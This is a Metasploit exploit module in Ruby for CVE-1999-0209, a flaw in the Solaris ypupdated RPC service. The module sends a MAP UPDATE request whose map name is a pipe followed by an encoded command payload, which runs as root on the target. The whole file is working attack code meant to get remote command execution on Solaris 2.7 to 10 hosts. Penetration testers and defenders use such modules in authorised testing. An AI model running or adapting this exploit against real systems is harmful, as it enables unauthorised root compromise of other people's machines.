##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'English'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SunRPC

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Solaris ypupdated Command Execution',
        'Description' => %q{
          This exploit targets a weakness in the way the ypupdated RPC
          application uses the command shell when handling a MAP UPDATE
          request.  Extra commands may be launched through this command
          shell, which runs as root on the remote host, by passing
          commands in the format '|<command>'.

          Vulnerable systems include Solaris 2.7, 8, 9, and 10, when
          ypupdated is started with the '-i' command-line option.
        },
        'Author' => [ 'I)ruid <druid[at]caughq.org>' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '1999-0209'],
          ['OSVDB', '11517'],
          ['BID', '1749'],
        ],
        'Privileged' => true,
        'Platform' => %w[solaris unix],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Space' => 1024,
          'DisableNops' => true,
          'Compat' => {
            'PayloadType' => 'cmd',
            'RequiredCmd' => 'generic perl telnet'
          }
        },
        'Targets' => [ ['Automatic', {}], ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '1994-12-12',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('HOSTNAME', [false, 'Remote hostname', 'localhost']),
      OptInt.new('GID', [false, 'GID to emulate', 0]),
      OptInt.new('UID', [false, 'UID to emulate', 0])
    ])
  end

  def exploit
    hostname = datastore['HOSTNAME']
    program = 100028
    progver = 1
    procedure = 1

    print_status('Sending PortMap request for ypupdated program')
    sunrpc_create('udp', program, progver)

    print_status("Sending MAP UPDATE request with command '#{payload.encoded}'")
    print_status('Waiting for response...')
    sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
    command = '|' + payload.encoded
    msg = Rex::Encoder::XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
    sunrpc_call(procedure, msg)

    sunrpc_destroy

    print_status('No Errors, appears to have succeeded!')
  rescue ::Rex::Proto::SunRPC::RPCTimeout
    print_warning('Warning: ' + $ERROR_INFO)
  end
end
